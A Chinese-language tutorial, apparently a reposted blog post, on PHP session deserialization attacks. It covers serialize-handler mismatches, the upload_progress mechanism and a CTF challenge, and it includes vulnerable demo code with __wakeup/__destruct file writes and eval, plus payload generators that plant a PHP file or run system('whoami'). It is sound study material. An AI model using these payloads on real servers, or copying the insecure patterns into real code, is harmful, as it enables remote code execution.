• php session序列化攻击面浅析


    [TOC]

    0x00 首先,session_start()是什么?

    当会话自动开始或者通过 session_start() 手动开始的时候, PHP 内部会依据客户端传来的PHPSESSID来获取现有的对应的会话数据(即session文件), PHP 会自动反序列化session文件的内容,并将之填充到 $_SESSION 超级全局变量中。如果不存在对应的会话数据,则创建名为sess_PHPSESSID(客户端传来的)的文件。如果客户端未发送PHPSESSID,则创建一个由32个字母组成的PHPSESSID,并返回set-cookie。

    本文我们需要关注的问题就是上述文字中的加粗部分:php对session文件的序列化和反序列化。

    0x01 初识php-session序列化机制

    php有三种session存储处理引擎,参考lemon师傅的表:

    下面根据代码,来看一下session的实际情况。

    <?php
    	ini_set("session.serialize_handler", "php");
    	//ini_set("session.serialize_handler", "php_serialize");
    	//ini_set("session.serialize_handler", "php_binary");
    	session_start();
    	$_SESSION['test'] = $_GET['a'];
    

    根据不同的引擎来取消上面相应的注释。这里通过将参数a的值传入session,下面看一下session的实际存储内容

    0x02 php_serialize引擎(反)序列化测试

    首先在php.ini中将session.serialize_handler的值设为:php_serialize。 根据上面的表可以知道,这里的session文件中保存的内容就是session变量的反序列化形式。 比如simple.php:

    <?php
    	session_start();
    	$_SESSION['a'] = '123';
    

    访问这个页面后,后端生成了个session文件:

    再将这个内容反序列化回来:

    可见,后端将session存成一个索引数组的形式:

    $a = [
        'key1' => 'value1',
        'key2' => 'value2',
        ...
    ];
    serialize($a);
    
    简单利用

    下面进行一次简单的反序列化利用。 首先是one.php,用于处理首次请求,并将GET请求中的a参数赋值给$_SESSION['test']。

    one.php
    
    <?php
    	session_start();
    	$_SESSION['test'] = $_GET['a'];
    

    这里用于接收我们有害的反序列化的值,然后将之存储到seesion文件中。

    然后是two.php,用于从session文件中读取$_SESSION['test'],并将之反序列化。还有一个类,其__wakeup方法可以写文件。

    two.php
    
    <?php
    	class student{
    		var $name;
    		var $age;
    		var $mobile;
    		function __wakeup(){
    			file_put_contents($this->name, $this->age.$this->mobile);
    		}
    	}
    
    	session_start();
    	$a = $_SESSION['test'];
    	unserialize($a);
    

    最后是ser.php,用于构造我们的payload:

    ser.php
    
    <?php
    	class student{
    		var $name;
    		var $age;
    		var $mobile;
    		function __wakeup(){
    			file_put_contents($this->name, $this->age.$this->mobile);
    		}
    	}
    
    	$a = new student();
    	$a->name = 'hallo.php';
    	$a->age = '<?php php';
    	$a->mobile = 'info(); ?>';
    
    	echo serialize($a);
    

    这里构思一下这里攻击流程。首先是payload,可以看到ser.php这里直接被我硬编码了,根据strudent类的__wakeup()方法可以看到,name字段是文件名,age字段与mobile字段拼接后作为文件内容写入文件。 payload拿到之后先访问one.php,让后端把payload存到session文件中,然后再访问two.php,让后端从session文件中读取数据,并将之反序列化,反序列化的过程中触发__wakeup()魔术方法,导致getshell。

    下面实操一下。 首先清理一下session文件

    访问ser.php,获取payload

    复制payload,作为参数a的值,访问one.php

    这时再看一下session文件目录,发现已经生成了一个session文件。

    下面再访问two.php,进行反序列化。

    这时看一下目录,发现成功getshell

    0x03 当使用不同的引擎来处理session文件时...

    根据最开始的引擎表格可以发现,php引擎的存储格式是键名 | serialized_string,而php_serialize引擎的存储格式是serialized_string。这里如果程序使用两个引擎来分别处理的话就会出现问题。

    比如首先以php_serialize的格式存储,从客户端接收参数并存入session变量。 four.php

    然后使用php引擎读取session文件。 five.php

    下面构思一下攻击思路。首先访问four.php,在我们传入的参数最开始加一个'|',由于four.php是使用php_serialize引擎处理,因此只会把'|'当做一个正常的字符。然后访问five.php,由于其用的是php引擎,因此遇到'|'时会将之看做键名与值的分割符,从而造成了歧义,导致其在解析session文件时直接对'|'后的值进行反序列化处理。 实操一下。

    首先生成payload:

    在payload前加个'|',作为a参数,访问four.php

    这时看一下生成的session文件

    框出来的部分就是我们的payload,php_serialize引擎将之作为test对应值。

    然而对于php引擎来说,它看到的却是这样:

    我们来访问一下five.php试试

    成功触发了student类的__wakeup()方法,验证了上面的想法是正确的。

    0x04 如果程序没有给$_SESSION变量赋值,怎么办?

    php还存在一个upload_process机制,即自动在$_SESSION中创建一个键值对,值中刚好存在用户可控的部分。先看一下php文档:

    这个功能用于在文件上传的过程中利用session实时返回上传的进度,类似于这种:

    使用这个功能首先要有个前提:session.upload_progress.enabled设为On。在我测试过程中还有一点比较坑的就是它有个自动清理机制,就是程序运行完之后会自动把之前生成的$_SESSION中的键值对给清理掉,我的解决方法是在php.ini中设置如下:

    session.upload_progress.cleanup = Off
    

    这样我们就可以在程序完成后查看session文件,方便学习。

    环境配置好了,这里整理一下思路。其实这里我们的攻击方法与上一部分基本相同,不过这里需要先上传文件,同时POST一个与session..upload_process.name的同名变量。后端会讲POST的这个同名变量作为键进行序列化然后存储到session文件中。下次请求就会反序列化session文件,从中取出这个键。所以攻击点还是跟上一部分一模一样,程序使用了不同的session处理引擎。

    下面看一道好玩的ctf题,来学习一下。

    q3.php
    
    <?php
    //A webshell is wait for you
    ini_set('session.serialize_handler', 'php');
    session_start();
    class OowoO
    {
        public $mdzz;
        function __construct()
        {
            $this->mdzz = 'phpinfo();';
        }
    
        function __destruct()
        {
            eval($this->mdzz);
        }
    }
    if(isset($_GET['phpinfo']))
    {
        $m = new OowoO();
    }
    else
    {
        highlight_string(file_get_contents('q3.php'));
    }
    ?>
    
    

    很明显,这里的第三行使用了php-session处理引擎来处理session文件,而通过查看phpinfo发现默认的引擎是php-serialize。因此这里又存在了一个歧义。下面看一下payload:

    <?php
    class OowoO
    {
        public $mdzz="system("whoami");";
    }
    $a = new OowoO();
    echo serialize($a);
    

    获取payload之后前面加上|,如下:

    看下session文件:

    以上的所有操作都是在后端在进入q3.php文件之前做的,下面计入q3.php之后首先在第三行使用了php-session引擎来处理session文件,然后在第四行使用session_start()之后反序列化session文件,由于不同引擎对与session文件的歧义,这里成功反序列化了我们传入的OowoO实例,导致在__destruct()中执行了我们的代码:

    0xFF 参考

    php 反序列化 - Lemon https://xz.aliyun.com/t/3674

  • 相关阅读:
    金蝶 kis一些功能的内部逻辑和个人技巧
    mysql横向和纵向合并sql数据用于展示,快递导出导入海量数据
    laravel carbon时间处理组件开发文档-中文版
    金蝶kis数据库说明(转载)
    java微信支付,对账单下载
    RabbitMQ中文文档PHP版本(七)--发布者确认
    RabbitMQ中文文档PHP版本(六)--远程过程调用(RPC)
    RabbitMQ中文文档PHP版本(五)--主题
    RabbitMQ中文文档PHP版本(四)--路由
    RabbitMQ中文文档PHP版本(二)--发布/订阅
  • 原文地址:https://www.cnblogs.com/litlife/p/10748506.html
Copyright © 2020-2023  润新知